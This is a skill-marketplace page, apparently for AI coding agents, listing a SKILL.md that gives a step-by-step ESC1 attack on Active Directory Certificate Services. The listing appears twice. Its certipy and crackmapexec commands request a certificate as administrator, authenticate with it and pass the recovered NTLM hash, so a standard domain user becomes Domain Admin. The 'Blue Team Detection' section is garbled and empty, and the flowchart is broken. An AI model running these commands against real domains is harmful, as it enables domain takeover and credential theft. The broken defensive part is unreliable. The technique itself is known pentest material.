ad-cs-esc1-abuse

Name: ad-cs-esc1-abuse
Author: ShulkwiSEC

18stars5forks

How to install ad-cs-esc1-abuse?

shulkwisec/bb-huge/ad-cs-esc1-abuse

$npx -y skills add ShulkwiSEC/bb-huge --skill ad-cs-esc1-abuse

Installs into the current project.

Summary

Exploit Active Directory Certificate Services (AD CS) misconfigurations, specifically ESC1. By requesting a certificate based on a overly permissive template that allows the enrollee to supply a Subject Alternative Name (SAN), an attacker can impersonate highly privileged users (

Files · 1

View on GitHub

SKILL.md

1	# AD CS Abuse - ESC1 (Subject Alternative Name)
2
3	## When to Use
4	- When operating in a Windows Active Directory environment and you discover that Active Directory Certificate Services (AD CS) is deployed (PKI infrastructure).
5	- To massively escalate privileges from a standard domain user to Domain Admin by exploiting misconfigured certificate templates.
6
7
8	## Prerequisites
9	- Authorized scope and rules of engagement for the target environment
10	- Appropriate tools installed on the attack/analysis platform
11	- Understanding of the target technology stack and architecture
12	- Documentation template ready for findings and evidence capture
13
14	## Workflow
15
16	### Phase 1: Identifying AD CS and Vulnerable Templates (ESC1)
17
18	```text
19	# Concept: ESC1 ```
20
21	```bash
22	# certipy find -u user@domain.local -p Password123! -dc-ip 10.10.10.10 -vulnerable
23	```
24
25	### Phase 2: Requesting the Certificate
26
27	```bash
28	# Concept: With a vulnerable template certipy req -u user@domain.local -p Password123! -dc-ip 10.10.10.10 -ca CA-NAME -template VulnerableTemplate -upn administrator@domain.local
29	```
30
31	### Phase 3: Authenticating with the Certificate (Pass-the-Certificate)
32
33	```bash
34	# Concept: certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -domain domain.local
35	```
36
37	### Phase 4: Validating Access
38
39	```bash
40	# crackmapexec smb 10.10.10.10 -u administrator -H [NTLM_HASH_OBTAINED_FROM_CERTIPY]
41	```
42
43	#### Decision Point 🔀
44	```mermaid
45	flowchart TD
46	A[Find Template ] --> B{ESC1 Vulnerable ]}
47	B -->\|Yes\| C[Request ]
48	B -->\|No\| D[Check ]
49	C --> E[Auth ]
50	```
51
52	## 🔵 Blue Team Detection & Defense
53	- Audit Templates: Monitor Event Logs: Key Concepts
54	\| Concept \| Description \|
55	\|---------\|-------------\|
56	## Output Format
57	```
58	Ad Cs Esc1 Abuse — Assessment Report
59	============================================================
60	Target: [Target identifier]
61	Assessor: [Operator name]
62	Date: [Assessment date]
63	Scope: [Authorized scope]
64	MITRE ATT&CK: [Relevant technique IDs]
65
66	Findings Summary:
67	[Finding 1]: [Severity] — [Brief description]
68	[Finding 2]: [Severity] — [Brief description]
69
70	Detailed Results:
71	Phase 1: [Phase name]
72	- Result: [Outcome]
73	- Evidence: [Screenshot/log reference]
74	- Impact: [Business impact assessment]
75
76	Phase 2: [Phase name]
77	- Result: [Outcome]
78	- Evidence: [Screenshot/log reference]
79	- Impact: [Business impact assessment]
80
81	Risk Rating: [Critical/High/Medium/Low/Informational]
82	Recommendations:
83	1. [Immediate remediation step]
84	2. [Long-term hardening measure]
85	3. [Monitoring/detection improvement]
86	```
87
88
89	## 📚 Shared Resources
90	> For cross-cutting methodology applicable to all vulnerability classes, see:
91	> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
92	> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
93	> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class
94
95	## References
96	- SpecterOps: [Certified Pre-Owned (AD CS Whitepaper)](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
97	- Certipy: [Certipy Documentation](https://github.com/ly4k/Certipy)
98	- TryHackMe: [AD CS](https://tryhackme.com/room/adcs)

People who liked this also viewed

6 picks

Type

ad-cs-esc1-abuse

18stars5forks

View on GitHub

How to install ad-cs-esc1-abuse?

shulkwisec/bb-huge/ad-cs-esc1-abuse

$npx -y skills add ShulkwiSEC/bb-huge --skill ad-cs-esc1-abuse

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# AD CS Abuse - ESC1 (Subject Alternative Name)
2
3	## When to Use
4	- When operating in a Windows Active Directory environment and you discover that Active Directory Certificate Services (AD CS) is deployed (PKI infrastructure).
5	- To massively escalate privileges from a standard domain user to Domain Admin by exploiting misconfigured certificate templates.
6
7
8	## Prerequisites
9	- Authorized scope and rules of engagement for the target environment
10	- Appropriate tools installed on the attack/analysis platform
11	- Understanding of the target technology stack and architecture
12	- Documentation template ready for findings and evidence capture
13
14	## Workflow
15
16	### Phase 1: Identifying AD CS and Vulnerable Templates (ESC1)
17
18	```text
19	# Concept: ESC1 ```
20
21	```bash
22	# certipy find -u user@domain.local -p Password123! -dc-ip 10.10.10.10 -vulnerable
23	```
24
25	### Phase 2: Requesting the Certificate
26
27	```bash
28	# Concept: With a vulnerable template certipy req -u user@domain.local -p Password123! -dc-ip 10.10.10.10 -ca CA-NAME -template VulnerableTemplate -upn administrator@domain.local
29	```
30
31	### Phase 3: Authenticating with the Certificate (Pass-the-Certificate)
32
33	```bash
34	# Concept: certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -domain domain.local
35	```
36
37	### Phase 4: Validating Access
38
39	```bash
40	# crackmapexec smb 10.10.10.10 -u administrator -H [NTLM_HASH_OBTAINED_FROM_CERTIPY]
41	```
42
43	#### Decision Point 🔀
44	```mermaid
45	flowchart TD
46	A[Find Template ] --> B{ESC1 Vulnerable ]}
47	B -->\|Yes\| C[Request ]
48	B -->\|No\| D[Check ]
49	C --> E[Auth ]
50	```
51
52	## 🔵 Blue Team Detection & Defense
53	- Audit Templates: Monitor Event Logs: Key Concepts
54	\| Concept \| Description \|
55	\|---------\|-------------\|
56	## Output Format
57	```
58	Ad Cs Esc1 Abuse — Assessment Report
59	============================================================
60	Target: [Target identifier]
61	Assessor: [Operator name]
62	Date: [Assessment date]
63	Scope: [Authorized scope]
64	MITRE ATT&CK: [Relevant technique IDs]
65
66	Findings Summary:
67	[Finding 1]: [Severity] — [Brief description]
68	[Finding 2]: [Severity] — [Brief description]
69
70	Detailed Results:
71	Phase 1: [Phase name]
72	- Result: [Outcome]
73	- Evidence: [Screenshot/log reference]
74	- Impact: [Business impact assessment]
75
76	Phase 2: [Phase name]
77	- Result: [Outcome]
78	- Evidence: [Screenshot/log reference]
79	- Impact: [Business impact assessment]
80
81	Risk Rating: [Critical/High/Medium/Low/Informational]
82	Recommendations:
83	1. [Immediate remediation step]
84	2. [Long-term hardening measure]
85	3. [Monitoring/detection improvement]
86	```
87
88
89	## 📚 Shared Resources
90	> For cross-cutting methodology applicable to all vulnerability classes, see:
91	> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
92	> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
93	> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class
94
95	## References
96	- SpecterOps: [Certified Pre-Owned (AD CS Whitepaper)](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
97	- Certipy: [Certipy Documentation](https://github.com/ly4k/Certipy)
98	- TryHackMe: [AD CS](https://tryhackme.com/room/adcs)

People who liked this also viewed

6 picks

Type